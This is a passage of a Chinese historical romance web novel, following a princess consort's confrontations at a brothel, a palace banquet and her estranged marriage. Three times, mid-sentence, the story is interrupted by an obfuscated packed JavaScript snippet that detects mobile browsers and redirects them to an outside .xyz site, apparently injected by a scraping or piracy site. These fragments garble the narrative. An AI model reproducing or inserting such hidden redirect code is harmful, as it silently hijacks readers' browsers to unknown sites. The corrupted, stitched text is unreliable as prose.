《我本将心向沟渠》 1. 花楼 隆冬时节，暮色四合，华灯初上。 红绡楼内丝竹之声与欢声笑语交织，闹酒作乐，处处笙歌，一派升平之象。 醉醺醺的胖子搂着个琵琶女调笑，油手捏着酒壶指天画地：“看见刚刚那人没有？”酒气喷洒在女子鬓边绢花上，“大名鼎鼎的顾濯顾晏川，可怜被逼着娶了个疯妇作正妻。那厮素日装得清风明月，这下端不住君子派头喽，受不了跑出来逛花楼……” 话音未落，琥珀色的酒液兜头浇下。 肥硕身躯踉跄撞翻案几，带的怀中女子也退了几步，绣鞋踩在泼洒的酒液里打滑。 "哪个活腻味的狗东西！"他将琵琶女一把推开，抹了把脸看向来人。 天水碧交领襦裙看似素净，细看衣缘却滚着竹叶纹，行动间银色暗纹随光影流转，似有月光在衣褶流淌。烛火掠过她的眉梢，容色昳丽，颜若朝华。一双桃花眼带着三分笑意，只是细看过去，眼底漾着的哪里是盈盈春水，分明是春寒料峭时节未化冰湖面的细碎寒光。 她看上去来得匆忙，鸦青鬓间还缀着几粒碎玉似的残雪，意外地和发间孤伶伶斜插着的白玉簪相映。 “林悠然……”胖子眯缝着眼。 碧衣女子眉峰微蹙，随手拿了盘糕点扣在胖子脸上：“刘公子喝醉了，需要醒醒酒。” 下手不轻，引得周围人一阵吸气。 “你……”胖子鼻尖一痛，糖霜粘在脸上，随着他开口说话簌簌往下落，模样颇为滑稽。 “听闻令正近来对海棠巷颇感兴趣，大晚上的带着人往那赶。此刻贵府车驾约莫已停在巷口——”她垂眸用素帕擦手，漫不经心地开口，“你说，令正是先撕了那姑娘的面皮，还是先打死肚里的孩子？” 胖子骂骂咧咧的神情一顿，顾不上一片狼藉的前襟，胡乱抓起貂裘连滚带爬冲出门，活像头受到惊吓的野彘。 这一番动静吸引了不少目光，有人认出了女子的身份，小声和同伴交头接耳。 “姑娘受惊了。”那女子倒也不在乎周围异样的眼光，带着歉意朝琵琶女笑了笑，“姑娘先收下这个，下回过来赔姑娘一双新鞋可好？” 此时她一副温温柔柔的斯文模样，和之前又泼酒又扣盘子的蛮横形象截然相反。 琵琶女被她的举动惹得怔了怔，一时间竟想不出怎么回应，等反应过来时，人已上楼。 她小心翼翼拆开那女子递给她的油纸包，里面卧着几个梅花糕，蒸腾的热气裹着浸过冬蜜的糯米香。 . “林悠然……”祁悠然自嘲地笑了笑，好久没有人敢当面这样叫她了。 今夜重返故地，连往日的名字也一并帮她回忆了。 她在一处厢房前驻足，依稀能听见里面传来的丝竹声。 “此间温香可熨帖顾公子你那寒石心肠？”吊儿郎当的声音不怀好意地问询，带着酒盏磕碰的脆响。 却是无人应答。 那声音并没有罢休：“不知比起那位……” 祁悠然厌恶地皱起眉头，厢房透出的光洒在她的脸上，给白皙的皮肤镀上一层暖色，却盖不住她满目恹色。 不算客气地推开厢房门——酒香混着熏香在暖阁里搅成一团甜腻的蜜，云鬓香腮的美人眼波似是要融了烛火。 意料之中地，她看到了那双清淡无波的眼睛。 那人一袭月白锦袍不缀华饰，偏压不住通身矜贵。他身形清隽，端坐如松，纵然生得如玉面庞，眉眼间却若孤峰落雪，周身似是笼着一层薄霜。 三月未见，重逢却在烟花巷。 祁悠然的手指下意识蜷缩了一下，后知后觉地感受到残雪融化的寒意。 发间坠下一滴雪水，她压下千般思绪，朝着上首另一个人冷冷开口：“裴公子年前跪祠堂时，可不像今日这般风流快活。” 满室旖旎被她生生截断，众人神色各异。 裴朔怀中女子突然瑟缩，她忍着痛意抬眼，惊觉方才风流潇洒的公子此时正沉着脸，眉目染上阴郁：“郡主大张旗鼓前来，就为说这些酸话？” 一时间，厢房内个个敛声屏气，神色尴尬，空余炉火噼啪作响。 祁悠然好似浑然不觉屋内的异样，寻了个无人的桌案施施然落座：“各位继续便是。本郡主不过来给夫君送件旧裳——去岁他在城南别院受寒犯咳疾时，也是这么一个朔雪天。” 裴朔斜睨了旁边一眼，顾濯垂眸看着茶汤，一副冷淡模样，连眉梢都不曾动过分毫。 “郡主还真是爱夫心切。”他不阴不阳地刺了一句，慢悠悠把杯中酒斟满，“早就听闻秦婳姑娘琵琶一绝，果真名不虚传。难得见晏川对姑娘这般上心。不知裴某的这杯酒和我好友那……半杯茶，可否再换姑娘一首曲子？” 明明对着下首的艺伎说话，他却故意分出目光睨了眼祁悠然，挑衅的笑容盈满了恶意。 这番恭维话却听得怀抱琵琶的娇俏女子双颊飘红，含蓄地点头应下。觉察到祁悠然看过来的目光，她脸上僵了一瞬，怯怯地望了一眼顾濯，俨然把自己当成了争风吃醋的对象。 顾濯冷淡地看了秦婳一眼，便移开目光。他偏过头望着绣花屏风，仿佛那湘绣花鸟比活色生香的美人更值得端详。 秦婳无端生出几分委屈，但屋内众人非富即贵，她不敢扫兴，遂转轴拨弦。 忽似骤雨跳珠，又如私语低吟；本是翠柳拂堤，莺歌婉转，转瞬冰泉冷涩，鹤唳寒潭；彼时银瓶乍破迸珠玉，刹那朔风凛冽，铁骑铮铮驰荒野，惊得那胡雁哀鸣，蓦地振翅没入溶溶月色。 乐声悠扬，可惜欣赏者寥寥。 裴朔似是想到了什么，轻轻抚过怀中美人发间簪着的朱钗：“近日坊间有个话本子倒有趣得紧，不知郡主可曾听闻？红火到春江阁的戏班子正马不停蹄排演呢。” 顾濯执盏的手顿了顿，茶汤在杯中晃出细小涟漪。 “没听说过。本郡主也不感兴趣。就不用特意讲解了，裴公子专心听曲罢。”祁悠然直截了当地打断他的不怀好意。 裴朔面目扭曲了一阵：“……张生与秋娘青梅竹马，一个是俏书生，一个是玉娇娘，这郎有情，妾也有意，合奏琴箫，定下三生之约。怎奈缘到深处便是劫，新上任的县令垂涎秋娘美色，以秋娘一家的性命要挟逼迫婚事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860257|175983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “啧啧啧，拆散有情人可真是作孽啊。”裴朔意有所指地晃了晃酒盏，琥珀光映出他眼底讥诮。 “怎么？这县令也姓祁？”羊脂玉扣撞在案沿发出脆响，祁悠然满不在乎地嗤笑一声。 此言一出，在座的其他人面面相觑，更有甚者凑在一处窃窃私语。 顾濯抬眼，屋内鎏金物件的光华在他眉骨间流转，照不进那双墨色的眼。 “是正儿八经拜堂的那种婚事？”祁悠然突然问了一句。 “什么？”裴朔一时没有反应过来。 “这位县令，同秋娘，是正儿八经的拜堂成亲吗？”祁悠然耐着性子重复了一遍。 “郡主对这故事又感兴趣了？”裴朔没好气地反问。 “裴公子不说，我便当你默认了。这县令倒是个痴情种，宁肯赔上乌纱帽也要明媒正娶。仅仅是贪恋美色，私下强占或者纳为妾就是了。”这番话实在是轻佻出格，纵然满座纨绔，也不免神色讶然。 “你们男人不都这个想法吗？”祁悠然眼底满是嘲弄。 “不过我猜啊，这三流故事的结局还是圆满的。苦命鸳鸯破镜重圆，这位县令么……”祁悠然顿了顿，嘴角荡开讥讽的笑，“不得好死。” 烛火摇曳，在她眼底碎成金箔。 琵琶弦无端颤了半声，却被更大的声音掩过去。 "哐当"，杯盏重重搁在案上，惹得众人一怔，待回过神来，月白袍角已没入门后，唯余桌案上留下的青瓷盏泛着清冷弧光。 裴朔蹙眉，起身追上好友。 湘绣屏风上的比翼鸟被光影撕扯着，逐渐扭曲，倒像是被折了翅膀的囚鸟。 祁悠然凝眸看着顾濯失态离开，眼底似有情绪浮漫，灯火投下的光影在她侧脸摇曳，叫人看不真切。 半晌，她掀起眼皮扫了一眼屋内众人，敷衍地客套：“招待不周，还请诸位见谅。” 厢房内其他人哪敢真应了这句话，纷纷拜别离去，玛瑙帘子被撞得噼里啪啦乱颤。 秦婳屈膝行完礼刚退两步，祁悠然忽然开口叫住她：“秦婳姑娘留步。” 未及散去的目光或同情或幸灾乐祸。 厢房内炉火正旺，暖意融融。 秦婳似是被人兜头泼了盆冷水，从刚才被吹捧的得意中清醒过来，脊梁骨窜上阵阵寒气。 她低下头踌躇着，发间步摇微微颤动。 “奴、奴家……”她想说些什么，喉头仿佛哽着块烧红的炭。 就在前些日子，一位夫人带着十几个持棍奴仆不由分说闯进暖阁，包银的马鞭甩过来，桌上的酒杯噼里啪啦碎了一地。 这些披着织锦裘衣的贵妇人，乱颤着金步摇对着寻欢的夫君垂泪，转眼却又把涂着蔻丹的指甲狠狠掐进她们这些乐伎的胳膊里。然而不多时，这一出出闹剧便又会被楼内丝竹笙歌吞没。 她正出神，被突然靠近的身影吓得一激灵，不由得后退两步，心中波澜起伏。 “怕我？”掩在玛瑙珠帘未歇脆响中的声音上扬，却听不出情绪，“抬头。” 秦婳心如死灰地抬头闭上眼。 2. 回府 张妈妈踩着自己拖长的影子挪进厢房，祁悠然正用茶盖轻刮浮沫，水汽氤氲，遮住了她脸上的神情，只有睫毛在眼下投出一片阴翳。秦婳则站在一旁，抱着琵琶垂着头。 她心里咯噔一下，暗骂了一句。今夜光顾着招待那位贵客了，没想到这位郡主也来了，甚至比起来更为棘手。 “好久不见，张妈妈。”祁悠然熟稔地打招呼，挂起敷衍的笑，眼底却没有丝毫笑意。 “郡主金安。”张妈妈膝盖一软，硬着头皮赔笑，眼尾扯出一道道褶子，“不知郡主前来，疏忽了，恳请郡主见谅。” “哪里的话，张妈妈贵客盈门，一时招待不过来也能理解。”祁悠然一派善解人意的样子，却也没让她起来。 烛火突然爆了个灯花，张妈妈抖了抖，堪堪维持着脸上比哭还难看的笑，宝石耳坠乱晃：“郡主有什么吩咐，只管提便是。”她攥着帕子，盘算着如何送走这尊大佛。就算祁悠然迁怒于秦婳向她讨要，她也认了，毕竟折一个姑娘总比把整个红绡楼赔进去好。 “看把妈妈吓得。”祁悠然忽地轻笑出声，“不过是——” 她放缓了语气，瞧够了老鸨惊疑不定的神色，才轻飘飘落下一句惊雷，“本郡主要为秦婳姑娘包身。” “什么？”张妈妈一时没反应过来，嗓子劈了调。 “张妈妈舍不得？” “没有没有。郡主为秦婳包身是她的福气。”张妈妈连连否认，拿帕子擦了擦鬓角渗出的冷汗。 “一百个铜板可够？当年本郡主被卖进来，也是这个价。” 张妈妈惶恐地不住叩头。 “行了，出去吧。后面的事会有人跟你谈的。”祁悠然挥了挥手，赶客意味明显。 张妈妈又点头哈腰一番赔罪，看着祁悠然露出不耐烦的神情，才噤声带着秦婳出去。 秦婳抱着琵琶退至门边，忍不住回首。空旷的厢房内只剩祁悠然一人，光影在她面上游移不定，显出几分落寞意味。 她暗中思忖，这位郡主倒是不像传言中那般。 那时她自以为的巴掌并没有落下。 祁悠然抚上秦婳紧绷的腮畔，指尖虽凉，力道却轻得像柳梢拂过春水。 “长得也不像啊……”她低声呢喃着。 秦婳不受控制地抖了抖，意识到自己似乎听到了不得了的豪门辛秘，恨不得当场失聪。 祁悠然忽然笑了起来，颇为开怀：“长得也不像兔子啊，秦姑娘怎么这么好骗？不要人哄便自己往陷阱里钻？” 秦婳愣住，瞪着眼睛不可置信地看着她。 自己这是……被戏弄了？她后知后觉。 笑声忽地呛在喉间，祁悠然止不住得咳嗽起来，整个人蜷成枝头颤巍巍的梅。 秦婳慌忙去替她斟茶，走上前才发现她掩在脂粉下憔悴的神色。 “让姑娘见笑……”祁悠然咽下茶水，道了声谢。 厢房内又安静下来，依稀能听见楼下歌伎唱着“良辰美景奈何天”的婉转曲调，祁悠然突然开口：“秦婳姑娘如何看这县令？” 秦婳眨了眨眼，一时没有反应过来。思索片刻，她才意识到是刚才话本里那位夺人所爱的反派。 受祁悠然那番话影响，她竟然觉得这县令也不是那么可恶了。 “……可恨之人，亦有可怜之处。他对秋娘一往情深，既是为情所困，终归是……情有可原。”秦婳仔细斟字酌句。 “情有可原……”祁悠然呢喃着，生生将喉间咳嗽压成一声轻笑。 秦婳不解地看着她。 “城南瓦舍新排了《洗冤录》，姑娘该去捧个场。别以后遇上恶人先兀自心疼上了。这世道可容不下姑娘的菩萨心肠。”祁悠然收敛情绪，将一片金叶子抛入她怀里，“收起来藏好，别被张妈妈发现了。” 见秦婳手忙脚乱的样子，她又开始笑：“罢了，被发现也不打紧。姑娘刚刚一曲，把贺兰山的鼓角、玉门关的箭啸都劈裂在冰弦上了，深得本郡主心意。以后姑娘若要找人讨公道，那本郡主也是愿意的。” . 人去茶凉。 唯有暖阁的香气仍袅袅不绝，凝成黏腻的蛛网，丝丝缕缕往眼耳口鼻里钻，熏得祁悠然头疼。 “咳咳……”她压制住咳嗽，信手推开窗棂，寒风裹着雪粒扑进来，卷起鬓边碎发。她却仿若无知无觉。 《良辰美景》的唱词混着风声飘来，祁悠然跟着低低哼了几句，又被自己七拐八弯跑得不知道哪里去的调子逗笑。她轻轻摇摇头，这世上哪来这么多戏文里的痴男怨女。 倚窗站了一会儿，她径直走到顾濯原本的桌案处。 月光被窗棂裁成碎片洒在她肩头，眸光略过青瓷色的茶壶，触及桌上空盏时，她伸出手，用指腹蹭了蹭冰凉的杯口。 . 祁悠然迎着落雪往外走，檐角灯笼被风吹得打转，晃得她发间玉簪泛起细碎的暖光。 马车一侧，一道挺拔的身影撑伞而立，伞面上落着一层雪，俨然等候已久。 “世子担心您，特意派属下来接您回去。”江烨抱着件墨色大氅，呵出的白雾糊了满脸。 “担心？”祁悠然嗤笑出声，直直看着他：“担心我砸了这销金窟？” “……”江烨眼神飘忽了一瞬，尴尬地蹭了蹭靴底沾染的污垢。 “把心收回肚子里，我姑且还没惹出什么事端。” 江烨有意识地忽略“姑且”二字，为她撩开车帘。 祁悠然没有动作。 “您还有什么吩咐吗？”江烨小心翼翼地询问。 “哦，我包了个姑娘，一百个铜板，你记得把钱付了。” “？”江烨嘴角一抽，您这不就惹了事吗？ 不过红绡楼的姑娘有这么便宜吗？ “还有……”祁悠然从马车里探出头。 “您讲。”江烨立即迎上去，期盼这位郡主别再说出什么惊世骇俗的话。 祁悠然自嘲笑笑：“把大氅给我吧，他既然不要，倒显得我自作多情。劳烦你一直拿着了。” 江烨嘴唇动了动，终是没有再说话。 "咚——"马车驶过朱雀大街时，更鼓声断断续续地传来。 祁悠然把脸埋进冰冷的狐毛，今年的冬天来得早，也比以往都要冷些，不知顾濯的身体还受不受得住。 此次她去拜访隐居的神医，山高水远，老头性子也怪，花的时间多了些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860258|175983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，回来又被庄子上的事绊住了。没想到这隔着几个月的见面，竟是如此荒诞。 祁悠然想得远了，回过神才发现马车已经停下。 “郡主……”夏瑾的声音传来，低低地，似是担心惊扰到她。 她揉了揉眉心，掩去疲惫神色，掀开帘子。 夏瑾把暖炉递过去，碰到祁悠然冰冷的双手，不满地嘟囔：“您就该让奴婢跟去，手都冻僵了。” “姑娘家家，去烟花柳巷我怎么放心？”祁悠然朝她笑笑。 “那您就……”夏瑾想反驳，却顿住，她有些无措地看着祁悠然。 祁悠然安抚地拍了拍她。她现在哪有什么名声，连带着身边人都被议论纷纷。今晚闹上这么一出，明日茶楼又有新的谈资了。 “世子呢？” 夏瑾不满地耷拉下嘴：“回来有一阵了。一回府就去了书房。” “嗯。”祁悠然眼神暗了暗。 刚进府，管家许伯就匆匆迎上来：“郡主回来了。怎么不差人说一声？” 许伯是永安侯府老人，也是看着他们长大的长辈。 祁悠然朝他笑了笑：“太晚了，就没叫您。您去歇着吧。” 许伯关切道：“厨房备了些清淡小菜，郡主可要用一些再休息？” 祁悠然没什么胃口，却也不忍心辜负老人的一片心意，点了点头：“劳您费心。” 许伯将灯笼往她跟前送了送，温和笑笑：“郡主仔细脚下。” 布菜时，许伯试探着开口：“世子近日回府总比寻常晚些，想来是公事繁重，一时疏忽忘记了……” 祁悠然提箸的动作一顿，没有告诉老人两人早已碰面的事实，低声“嗯”了一声。 . 穿过月洞门时，忽觉暗香扑鼻，循着香味找过去，原是府上的梅花开了。和旧时学堂的品种一样，那梅生得极烈，傲立枝头，似把霜雪都酿成了艳色。 她驻足看了片刻，冷香缠着旧梦往身上钻，恍惚了时光。 她想去触最近那枝，将将碰到花萼，“吱呀——”紫檀木门打开。 她侧头，顾濯正好从书房出来，漏出的烛火晃碎了地上的梅影。 廊下相遇，四顾无言。 顾濯踏雪向她走来。 祁悠然看着他单薄的衣衫，看着他洇开墨痕的袖口，看着他沾着残雪的皂靴，正欲开口：“你……” “郡主好雅兴。只是……梅花折下易枯。”顾濯垂眸。 她整个人僵住，收回冻得发红的手。 适才用过饭，她在许伯不赞同的眼神下执意把手炉塞给了他，眼下手冻得没有了知觉，却也无可奈何。 朔风卷着夜雪，发出细碎的呜咽，惊得檐角铜铃跟着晃了晃。 “更深露重，郡主早些歇息。”顾濯朝她点点头，算作告辞。 神色平淡，从头到尾没有一个丈夫被妻子抓到逛花楼的心虚和愧疚。 夫妻者，非有骨肉之恩也。 爱则亲，不爱则疏。 挂灯忽明忽暗，将两人影子绞作一团，祁悠然攥紧了手指，应了一声。 擦肩而过时，她下意识回头，却只闻到对方满身枯寂的灯油味。 3. 宴会 “咳咳……” 夏瑾手中木梳一颤：“要不就别去……” “不过风寒。”祁悠然截住话头，指尖掠过妆奁中那几只华贵发簪，仔细挑了一只插入发间。 夏瑾望着铜镜欲言又止。镜中人身着胭脂色对襟袄，衣摆处用金线绣着繁复的流云纹样，繁丽雍容。只不过这衣裳原是年前备下的新衣，如今穿上，腰身空了一大截——郡主这半载清减得厉害。 . 祁悠然登上马车，入目便是顾濯手执书卷，神情专注的样子。 他今日着玄色锦袍，腰间仅悬一枚蟠螭纹白玉环，饶是如此简单的衣饰，也盖不住如玉丰姿。 祁悠然想起了他曾在京城的美誉，什么“皎皎空中月，难抵君玉色”“昆仑山上雪，不及顾郎三分颜。”当初这种乱七八糟的打油诗可有一箩筐。 车轱辘碾过青石板，市井喧闹落入耳中。祁悠然掀起车帘，恰见道旁宅院墙头探出的半截腊梅。凝霜的花苞在寒风中肃立，她想起昨夜顾濯的话，也没了赏景的性质。 转身时，却发现顾濯的目光落在她身上。 “这衣服并不衬你。”他重新拿起被搁在小几上的书卷，淡淡道。 “夫君今日倒有闲情品鉴衣饰。”祁悠然垂眼：“只是行程过半，现在回去换衣服，怕是赶不上。” “……”顾濯没有说话，车厢内又恢复了安静。 祁悠然支颐看着他，渐渐出神。 当年学堂旬假，她无处可去，想着找个清净地方避一会儿。寻了处无人的书斋，却发现顾濯端坐在案前温书。 他执卷的手纹丝不动，甚至没有分出半点目光看她。 高高在上，目下无尘。 多日的委屈无处发泄，她忍不住冲着顾濯阴阳怪气：“顾公子这般苦读圣贤书，莫不是也想当圣人？” “不曾。” 祁悠然面色一怔，没有想过顾濯会回应她。 “顾公子所求为何？”她冷冷淡淡地等着那人吐出些道貌岸然的酸话。 “功名利禄。”声音清冷，说出了一个意想不到的答案。 祁悠然抬眼，恰撞进顾濯幽深如寒潭的双眸。 ——她看到了他眼中的疲惫。 日光漏进窗沿，在桌案烙下斑驳的痕迹。祁悠然眯起眼睛，见万千游尘浮沉起落。 原来他们是一样的，都是被红尘牵绊的普通人。 这番场景祁悠然至今印象深刻，不过每每回想起来，这段记忆仿若被经年风霜淬过，凛冽冷寂地划开平和的表象。 她曾亲手摧毁过顾濯的追求，那份同世人一般，平常而世俗的，对名利的渴望。 她总是忍不住想，顾濯会后悔吗？对一个背信弃义者卸下了伪装，对一个蝇营狗苟者剖白了心事。 但她不敢问。 祁悠然信手拿起青瓷碟中糕点塞进嘴里。 栗子的香气被甜腻的糖霜遮盖过去，棉线似的糊着喉咙。 “咳咳……”她皱眉，又咳嗽起来。 顾濯一副朗月清风的样子，却极为嗜甜。平日府上的糕点总比外头甜上几分。 一杯热茶推到了她手边。 “……谢谢。”祁悠然垂眸，茶盏放在一个恰好的位置，不远不近。 她却莫名滋生出受宠若惊的感觉。 指尖忍受着灼热的痛意，她厌弃自己在感情中卑微的姿态，却又无可奈何。 车内依然安静，喜悦与痛苦撕扯，祁悠然烦躁地开口：“街边有个成衣铺子，夫君陪我去买一件现成的？秦婳姑娘昨日的紫色衣裳就很好看。” 空气微妙地凝滞了一瞬。 顾濯重新取了个空茶盏，白瓷釉面映着他无波无澜的眉眼：“郡主说笑。” 祁悠然抿了口茶，决定开门见山：“为何会突然去红绡楼？” “……”茶雾氤氲，在两人之间织成纱幔。 “你到底想做什么……”她低声呢喃，语气不解，又带着无奈。 顾濯的手几不可察地动了动，最终只是抚平书页折角。 一路无言。 . 祈雪宴，每年腊月在皇宫举办，顾名思义，祈求瑞雪丰年。 今年的雪早早落下，然而祖宗之法不可废，宴会一如既往盛大。 汲汲营营者攀亲附势，位高权重者享受追捧。 于祁悠然而言，这场晚宴不过吃吃喝喝，瞧瞧有没有乐子看，以及不要让自己成为乐子。 “世子与郡主真是鹣鲽情深。连红绡楼都一同去。”刚被女官带着进入宴厅，一个美妇人便朝祁悠然款款走来。 乐子找上门了。她好笑地想。 妆容精致，衣饰华美，仪态端方，脑袋空空——标准的京城出产脂粉美人。 祁悠然闲暇时曾总结过这套模板，出身名门望族，母亲为正室夫人，有个兄长或弟弟，自幼颇受宠爱，及笄后觅了个家世相当的郎君，在婆家也算顺心。 这套固定模板下的美人祁悠然这几年见识过不少。她们都一样骄矜，一样钦慕过顾濯，一样厌恶自己。 哦，还有几个眼瞎的看上了裴朔。 “林夫人。”思绪回笼，祁悠然冲她轻轻颔首，算是打过招呼。 户部侍郎的独女张嫣，同庆国公府的长孙喜结连理，最上等的脸蛋，最下等的脑袋，脂粉美人中的佼佼者。祁悠然刻薄地下结论。 “这红绡楼确实妙，怪不得林公子流连其中，豪掷千金。”按往常，祁悠然应该这么回怼过去。可今日她莫名生出一股倦意，略过张嫣眼底妒色，依然沉默着。 “要妾身说，这满京城再寻不出第二对如郡主夫妇这般......”这厢她不想搭理，耐不住张嫣自己凑过来，茉莉香粉扑了祁悠然满脸，“琴瑟和鸣的眷侣。” ……比上一次有长进，会说成语了，还一连咕噜了两个。 “林夫人的口脂似是花了，歪到腮边了。”祁悠然掀起眼皮，换上恰到好处的浅笑。 “什么！”张嫣睁大眼睛，方寸大乱，慌忙以帕掩面，唤宫人整理妆容。 耳根清净没多久，落座时，旁边两位夫人正窃窃私语，神情是如出一辙的狭促。 余光看见她，声音更大了些。 亦是典型的京城贵妇模板，喜热闹，好搬弄是非——大概是张嫣十几二十年后的样子。 真是奇怪，明明性格、品性皆不同，却在二三十年间同化，神情都有了几分相似之处。 祁悠然感叹之余，拿了块茶点，好整以暇看着她们夸张地挤眉弄眼。 甜而不腻，口齿留香，宫里的东西到底比侯府好。她分出神评价。不过人就算了。 “温家怎么了？” “你不知道吗？”妇人突然拔高嗓门，“温颜从尼姑庵还俗了。” 熟悉的名字落入耳中，祁悠然指腹无意识摩挲杯盏。 扫兴的人回来了。她意兴阑珊地低头，手边的糕点也索然无味起来。 往日这个时候，她会不厌其烦地去书房打扰顾濯，逼着他跟自己一道用晚饭，哪怕桌上的菜品并不合她的口味，她也乐在其中。 出神之际，殿内突然安静下来。 只听一阵密密的脚步声，皇后被簇拥着进殿，一素衣女子于半步之后垂首而立。 “参见皇后娘娘——” 满殿珠翠俯首行礼。 “温家幺女温颜，三年前入感业寺为国祈福，”皇后目光缓缓扫过众人，“本宫念其良善品性，赐白玉菩提佛珠一挂，素锦十匹，另擢为‘清慧居士’，准其每月朔望入宫诵经。温夫人教女有方，本宫心甚慰。” 想要俏，一身孝。 素净的打扮，加上温颜本就出众的容貌， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860259|175983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一众钗环叮当的美人里如出水芙蓉，轻易便脱颖而出。 雍容华贵的女人慈爱地抚过温颜手背，将手腕上的佛珠退下来戴到她手上。 祁悠然好笑地想着，这么多宗族女眷，真要祈福哪里轮得上温颜。为了拉拢丞相，冠冕堂皇的理由倒是想了一堆。只可惜，您身边那位，可不想当太子妃，倒是一心打着顾濯的主意。 宴会过半，方贵妃姗姗来迟。 “皇后姐姐待温姑娘当真亲厚，连贴身佛珠都舍得赐予。只是臣妾恍惚记得……温姑娘既未剃度，便是尘缘未断，未嫁之女借修行之名自由出入宫闱，可是要她永世不嫁以全忠义？”她轻抚鬓边凤钗，柔声轻笑，“更何况，孝端静皇后当年为避外戚之嫌，连亲侄女及笄礼都只赐《心经》一卷……皇后姐姐向来以贤德自持，定能体谅臣妾多嘴之过。” 这是得知皇后意在同温家结亲，坐不住了。 皇后指尖重重扣在凤座扶手上，半晌，才轻笑一声：“妹妹说得是，倒显得本宫思虑不周了。” 祁悠然找到了新的热闹看，乐得她们你来我往地交锋，津津有味地听着戏。 温颜突然伏地叩首，素衣垂地如雪。 “臣女斗胆，恳请娘娘收回所赐之物。臣女于寺中常听主持教诲‘修佛不如渡人’。娘娘心善，可否允许臣女在京郊设粥棚，救助贫困饥民？” 一番话撇清了关系，保全了皇后的颜面，还扬了善名。 皇后将她扶起，似怜似诫：“好孩子，本宫允了。只是佛珠既沾了你的腕，便是缘分，你且留着。” 祁悠然看着上首的温颜，眼中满是厌恶。 她如果没记错，当年学堂放学，这位温小姐可是冷眼看着侍女将乞讨的孩童推倒在地的。 呵，众星捧月的丞相千金，京城赫赫有名的贵女典范，如今顶着张菩萨面回来，是要渡谁？ . 晚宴结束，祁悠然特意慢了众人一步。 温颜似有所感，停下脚步。 “温小姐怎么结束感业寺的苦修了？受不了青灯古佛，还是觉得这京城好？”祁悠然唇角扬起极淡的弧度。 温颜缓缓道：“这几年，我想通了很多事情。人活一世，有些东西还是要去争一争。”她意有所指。 祁悠然冷笑：“温小姐在庙里光顾着想男人了？” 温颜垂眸，语气透着股怜悯：“跟顾濯和离吧，你且好自为之。” 祁悠然凑近她：“别妄想了，他这辈子都只能和我在一起。我死了，也会一起把他带下去。” “你……”温颜被她眼中的偏执惊到，冷声道：“若不是你，他的仕途也不会贸然断送。以他的才干，本可以……” “那又如何？”祁悠然不欲与她多言，转身离开。 . 凉薄的夜色里站着一个凉薄的人。 宫门外，祁悠然遥遥看到顾濯伫立在马车旁。 祁悠然没理他，一言不发地往前走。 “你去找温颜了。”擦肩而过的瞬间，顾濯拦住她，语气笃定。 “被当众赐佛珠，温小姐一回京就是皇后跟前的大红人，我当然上赶着去巴结呀。”她抬头与顾濯对视，一点一点漾开笑意。 “以后不要私下寻她。”顾濯声音冷下来。 祁悠然不以为意：“怎么？怕我做出什么来？夫君可是心疼你这位‘前’未婚妻了？” 她刻意加重了“前”字。 “郡主慎言。” 两人静峙着。 朔风吹得宫灯乱晃，在地上投射成张牙舞爪的影。 憋闷的情绪在胸腔冲撞，祁悠然忽觉满身锦绣倒成了笑话。 她收起笑，略过顾濯先一步上了车。 张嫣那句话说得没错，京城再也找不出他们这般的夫妻。 貌合神离，相敬如冰。 4. 查账 不知是哪簇积雪落下，枝丫微颤，惊得打盹的麻雀扑棱棱抖落满身雪粒。 顾濯执筷的手在翡翠虾饺上悬了悬，漫不经心道：“郡主呢？” “约莫卯正一刻便出门了，说是去城南查账。” 顾濯拨了拨碗里的冬笋，没再说话。 桌上热食腾着白雾，将他的眉宇洇得愈发模糊。 许伯望着廊外折断的雪松枝，在心里叹了口气。多月未见，他本想着两人同乘马车，在车上说说话也好，可谁知道进了一趟宫，回来关系却更僵了。 . 算盘珠子撞出疾雨般的声响，祁悠然指尖掠过账册，目若无人地对着账目。 几个掌柜战战兢兢候在一旁。 别看这位郡主一副好说话模样，管起账来雷厉风行。初掌中馈时还有几个拎不清的不服管，仗着资历企图倚老卖老，等挨了板子罚了月银，便也老老实实不敢作妖了。 “陈掌柜，上月西市布庄的亏空……”她忽然抬眼，窗外光线斜切入账房，将眼眸衬得愈发清亮，发间的白玉簪如屋外积雪一般泛着清冷的玉色。 几个掌柜不约而同打了个寒颤。穿灰鼠皮袄的老者慌忙上前应对问询。 待最后一道批注落定，日影已攀上博古架的珐琅彩瓶。 “向翰林院捐赠的前朝珍本，陆学士可收到了？”待各掌柜离开，祁悠然拨了拨案头镇纸。 “白石说已经办妥了。”夏瑾替她斟了杯茶。 祁悠然点点头。 